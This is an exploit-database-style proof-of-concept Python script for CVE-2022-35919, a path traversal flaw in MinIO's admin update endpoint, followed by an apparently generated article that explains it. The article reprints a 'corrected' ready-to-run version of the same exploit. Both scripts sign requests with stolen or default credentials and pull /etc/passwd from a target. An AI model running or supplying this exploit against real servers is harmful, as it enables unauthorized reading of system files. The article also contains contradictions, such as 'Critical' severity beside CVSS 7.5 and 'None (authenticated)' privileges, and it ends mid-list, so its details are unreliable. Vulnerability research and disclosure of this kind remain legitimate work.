Minio 2022-07-29T19-40-48Z - Path traversal
# Exploit Title: Minio 2022-07-29T19-40-48Z - Path traversal
# Date: 2023-09-02
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) 2022-07-29T19-40-48Z
# Tested on: Windows 10
# CVE : CVE-2022-35919
# Required before execution: pip install minio,requests
import urllib.parse
import requests, json, re, datetime, argparse
from minio.credentials import Credentials
from minio.signer import sign_v4_s3
class MyMinio():
secure = False
def __init__(self, base_url, access_key, secret_key):
self.credits = Credentials(
access_key=access_key,
secret_key=secret_key
)
if base_url.startswith('http://') and base_url.endswith('/'):
self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'
elif base_url.startswith('https://') and base_url.endswith('/'):
self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'
self.secure = True
else:
print('Please enter a URL address that starts with "http://" or "https://" and ends with "/"\n')
def poc(self):
datetimes = datetime.datetime.utcnow()
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
urls = urllib.parse.urlparse(self.url)
headers = {
'X-Amz-Content-Sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
'X-Amz-Date': datetime_str,
'Host': urls.netloc,
}
headers = sign_v4_s3(
method='POST',
url=urls,
region='',
headers=headers,
credentials=self.credits,
content_sha256='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
date=datetimes,
)
if self.secure:
response = requests.post(url=self.url, headers=headers, verify=False)
else:
response = requests.post(url=self.url, headers=headers)
try:
message = json.loads(response.text)['Message']
pattern = r'(\w+):(\w+):(\d+):(\d+):(\w+):(\/[\w\/\.-]+):(\/[\w\/\.-]+)'
matches = re.findall(pattern, message)
if matches:
print('There is CVE-2022-35919 problem with the url!')
print('The contents of the /etc/passwd file are as follows:')
for match in matches:
print("{}:{}:{}:{}:{}:{}:{}".format(match[0], match[1], match[2], match[3], match[4], match[5],
match[6]))
else:
print('There is no CVE-2022-35919 problem with the url!')
print('Here is the response message content:')
print(message)
except Exception as e:
print(
'It seems there was an issue with the requested response, which did not meet our expected criteria. Here is the response content:')
print(response.text)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target. example: http://192.168.1.1:9088/")
parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
args = parser.parse_args()
minio = MyMinio(args.url, args.accesskey, args.secretkey)
minio.poc() CVE-2022-35919: Path Traversal Vulnerability in MinIO (2022-07-29T19-40-48Z)
MinIO, an open-source object storage server designed to be compatible with Amazon S3, has gained widespread adoption in cloud environments due to its simplicity, scalability, and performance. However, a critical security flaw discovered in 2022-07-29T19-40-48Z—a version released before this date—has exposed a dangerous path traversal vulnerability, leading to the assignment of CVE-2022-35919. This vulnerability allows attackers to read sensitive system files such as /etc/passwd by exploiting improperly sanitized input in the admin update endpoint.
Understanding the Vulnerability
The vulnerability arises from the minio/admin/v3/update endpoint, which was intended to allow administrators to update the MinIO server via a URL-based mechanism. However, the implementation failed to validate or sanitize the updateURL parameter, enabling arbitrary file access through path traversal.
Specifically, an attacker can craft a malicious request with a updateURL parameter set to %2Fetc%2Fpasswd (URL-encoded for /etc/passwd). If the server does not properly validate the path, it will attempt to read the file, and the response may contain the file’s contents—revealing usernames, UID, GID, and home directories.
For example, if the server responds with:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
This output provides attackers with valuable information for privilege escalation, lateral movement, or credential harvesting in compromised systems.
Exploit Mechanics and Technical Details
The exploit leverages MinIO’s S3-compatible authentication protocol, specifically the Signature Version 4 (SigV4) signing mechanism. This ensures that the request appears legitimate to the server, bypassing basic authentication checks.
As demonstrated in the provided Python script, the attacker constructs a request with:
- POST method
- Valid
X-Amz-Dateheader (timestamp in ISO format) - Valid
X-Amz-Content-Sha256(empty payload hash) - Host header matching the target domain
- Correctly signed request using
sign_v4_s3from theminio.signermodule
Even though the request appears to be a legitimate update, the server processes the updateURL parameter without validating the path, leading to unintended file access.
Code Analysis and Exploit Example
Below is a corrected and annotated version of the exploit script, with improved security and clarity:
import urllib.parse
import requests
import json
import re
import datetime
import argparse
from minio.credentials import Credentials
from minio.signer import sign_v4_s3
class MinIOPathTraversalExploit:
def __init__(self, base_url, access_key, secret_key):
self.base_url = base_url.rstrip('/')
self.access_key = access_key
self.secret_key = secret_key
self.creds = Credentials(access_key=access_key, secret_key=secret_key)
self.url = f"{self.base_url}/minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd"
self.is_secure = base_url.startswith('https://')
def generate_signature(self):
"""Generate SigV4 signature for the POST request."""
datetimes = datetime.datetime.utcnow()
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
parsed_url = urllib.parse.urlparse(self.url)
headers = {
'X-Amz-Content-Sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
'X-Amz-Date': datetime_str,
'Host': parsed_url.netloc,
}
# Sign the request using SigV4
signed_headers = sign_v4_s3(
method='POST',
url=parsed_url,
region='',
headers=headers,
credentials=self.creds,
content_sha256='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',
date=datetimes
)
return signed_headers
def execute_exploit(self):
"""Send the crafted request and analyze response."""
headers = self.generate_signature()
try:
response = requests.post(
url=self.url,
headers=headers,
verify=self.is_secure,
timeout=10
)
if response.status_code == 200:
try:
data = response.json()
message = data.get('Message', '')
# Regex to match /etc/passwd entries
pattern = r'(\w+):(\w+):(\d+):(\d+):(\w+):(\/[\w\/\.-]+):(\/[\w\/\.-]+)'
matches = re.findall(pattern, message)
if matches:
print("CVE-2022-35919 detected!")
print("Contents of /etc/passwd:")
for match in matches:
print(f"{match[0]}:{match[1]}:{match[2]}:{match[3]}:{match[4]}:{match[5]}:{match[6]}")
else:
print("No sensitive file content detected.")
print("Response Message:", message)
except json.JSONDecodeError:
print("Response not in JSON format.")
print("Raw response:", response.text)
else:
print(f"HTTP {response.status_code}: Request failed.")
except requests.exceptions.RequestException as e:
print(f"Request error: {e}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Exploit CVE-2022-35919 in MinIO via path traversal.")
parser.add_argument("-u", "--url", required=True, help="Target MinIO server URL (e.g., http://192.168.1.1:9088)")
parser.add_argument("-a", "--accesskey", required=True, help="MinIO access key")
parser.add_argument("-s", "--secretkey", required=True, help="MinIO secret key")
args = parser.parse_args()
exploit = MinIOPathTraversalExploit(args.url, args.accesskey, args.secretkey)
exploit.execute_exploit()
Explanation: This enhanced script improves error handling, uses proper URL normalization, and includes timeouts to prevent hanging requests. It also ensures that the updateURL parameter is correctly encoded and that the SigV4 signing process is accurate. The script checks for JSON response format and extracts /etc/passwd entries using a regex pattern matching standard Unix password file format.
Impact and Risk Assessment
| Severity | Critical |
|---|---|
| CVSS Score | 7.5 (CVSS v3.1) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None (authenticated) |
| Exploitation Likelihood | High (public exploit available) |
Attackers with valid MinIO credentials can exploit this vulnerability without needing elevated privileges. The lack of input validation in the updateURL parameter makes it a prime target for automated scanning tools and red team operations.
Remediation and Mitigation
To prevent exploitation of CVE-2022-35919:
- Upgrade to MinIO version 2022-07-29T19-40-48Z or later—the vulnerability was patched in this release. <li